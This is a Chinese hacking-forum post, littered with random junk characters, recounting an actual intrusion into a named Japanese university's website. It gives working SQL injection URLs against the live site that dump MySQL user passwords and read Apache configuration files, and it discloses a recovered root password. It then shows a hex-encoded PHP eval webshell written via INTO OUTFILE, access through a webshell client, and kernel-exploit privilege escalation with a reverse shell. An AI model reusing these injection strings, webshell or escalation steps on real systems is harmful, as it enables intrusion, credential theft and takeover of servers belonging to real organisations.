入侵日本同志社大学技术分析" k: \4 _/ @9 B. Q! B
' o) e+ m3 i' g
http://www.doshisha.ac.jp/chs/news/index.php?i=-12 q0 D; x; T& p( |- t
然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:
( }8 Y) a6 T f% R5 b1 f/ m- G5 o0 u" y$ l* N4 O& Q
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user
) g' k8 r3 _9 ]! p: [% g( c. b
. Q, n, K1 F$ H
3 |( }$ e9 M0 d% X9 c" ~0 E9 |* w$ s4 R- [ r0 T
//@@datadir为数据库文件路径 0 \! \. L2 e' [# y5 _- l3 M( m
; q5 r b( F$ V8 J( s& _
1 v, w0 i* p: V& S1 x+ j//load_file读取网站容器apache的配置文件
. i, Q7 X! ^+ c( u1 W6 u; d' P& ^ 7 ~4 R/ O! }/ ]9 I+ }) _# s5 p
/ G7 k& j) M: H, u
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机 - j U: U$ i" ^( j3 t6 i7 T
复制代码
! J# @( [1 `: U$ M- F
4 A& u i* Y6 q# j% ^% E. E虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。0 M4 k" }6 | P5 V9 _) \5 X
* b7 m+ G& ~& V9 l* G( Z& ?" b
而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。
6 Y! i" O. m% O6 \( B1 L(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)
! z+ k5 Z2 H3 T8 v# s/ G. \5 D
8 i7 x) Y' R* R# c z6 b$ w前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。6 L5 T; z+ Y1 ]- h
如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html% ?6 U* x/ [3 B) D# r) ?- \# y. Z9 r
( m" {4 h/ `# O既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/% }8 y* ]. ^" z! J( P; k: x
虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。4 L4 r# ]& d, Y) [
直接写一句话:) |% k6 O7 |* c. L4 C6 t- c
* Z. s: O( X# l, F0 K
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#
+ s# O+ `7 R. R( e. c$ K0 X
. f; V8 m& V7 @
' {8 ] `! v8 m) J" X
8 S/ Q" j9 u# `3 o: a) E//最后的#是为了闭合前面的语句 # C% K9 M _& Y* j/ ?
4 n0 B4 Q& J. ?( j4 m3 Z- f# |& [. _2 m7 F: B
/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E 7 Y6 ?$ ^4 J. q- C7 H
, ~% t Y6 \4 ?: q) d) `
8 k$ U. N- ~6 B
为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/
/ j6 g" J+ S. ^ + E( ?, b/ x9 u6 j0 M; R
4 d$ H5 t) H" f2 @2 R
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句 0 A9 E" i& P" V+ c' R; `0 f7 K
. \6 H7 o- h- s- D0 d9 C: D+ q9 b* b
//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
0 {; f3 z+ {0 g- W& Q; K//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>”
3 {+ Y3 p2 l4 n/ p复制代码
: E: e' m$ O. ]* z- L0 S- e6 j5 m: I, C. Z1 c. t
HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有& z5 t/ ~5 ]2 I1 v! {+ s: S% d
通过上述注入语句,我们就得到了一句话木马:
& t! p) |2 \7 h" g1 F( K, p) I* \; A* a5 t/ c
( _, l7 z9 B7 }9 T- y
4 O" k6 H2 M0 j7 o! z
: y- x: L! H/ s" T2 S8 Y
* G, f. s3 N6 B! `( S6 N# Dhttp://www.doshisha.ac.jp/english/engnews_img/aa.php 2 A& f2 j6 Q$ u5 W/ j
复制代码
. U0 M* M9 e. I* m7 ]5 h$ t6 O/ q! L4 ^; Q1 k
用菜刀连接,密码是cmd,如图所示:$ {! X/ Y6 Y1 S! D" y$ \& Y$ R
然后在命令提示行里看了一下,现在的权限是:
' _4 ~: n& e1 Y# B% M2 i( q7 G6 y \5 Z4 r/ E! H
之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。( m f0 O! d2 W& Q t9 D
好在赋权给这个文件夹不需要root,直接执行赋权语句:. ]1 A! _% ^7 Z4 k+ Z1 h
1 u. a# L' T9 K, [( P/ {: Q, i- |
4 ?- t8 \* G, J' R$ D
/ D3 V) n( J0 O" g6 d
9 F1 X" f& T# }, S2 L( v& P9 r
- P9 t% l9 f# A9 wchmod +x /tmp/
9 \; \4 l- T5 O( s2 Z复制代码
. |/ s" P# k2 F) F( P+ ?* u
: [: W5 V7 ^$ I在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行7 p- g$ M9 @7 E; X$ c
然后就查了一下内核版本:4 u" y/ W7 z0 `/ ?
0 ?8 f; u7 b! H2 ^2 Q# j ]$ x
/ r' e) a) }2 o: r' o6 @8 r, m7 H! @3 l* A2 b. t
2 `+ t0 v: h k6 f! Q: g8 A% j& ^
* x! T1 _4 \6 c Auname-a
. h+ E" P0 c3 t 9 s, D( W! G9 u3 }3 t5 f; _( C, m
1 [5 y+ c* F* f0 B9 ^//其实lsb_release -a
( X7 p: O" r: N4 D4 R9 j0 t6 o复制代码5 X6 p" y( A( ], ^8 Y
) W, ]7 f0 Y. X+ Y/ S7 y7 c如图所示:8 G# v9 h% S5 v& t y
$ R# s4 d, Z% V) A* m内核版本:linux mainz1 2.6.28-194.e156 l( W3 W& Q/ u! j2 w
系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)
$ h' z3 \7 s: \7 w" q: d* O l- ]' |6 q查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹( Y4 v8 E8 M9 H/ P5 P
J; {7 _/ i- S7 m: \4 ^! N; P U
然后给予执行权限2 m* H1 \4 ~, s" A- ?
一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样
" @% o5 }1 g% s7 }4 `# W1 E# U3 D$ A8 `' O2 G
# q7 B+ G3 b8 g
: @* l$ A8 ^; N) L . b+ n$ k$ V# d8 r2 m
/ _( J4 Y# c4 O! E Z
chmod +x /tmp/2.6.18-194 & K9 ]5 K/ P. `+ e% I% h
复制代码 然后直接执行!~0 V# e$ \" |: m; h ^7 k$ N
# Q9 H5 H w5 W* n
总结:
% X: c' {6 \1 {这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了: K. L6 W6 L* |5 l* l2 G" l# f
提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root3 H9 \- L" }: {: B8 [; X9 {! G
+ d) `: K+ f; {* F
|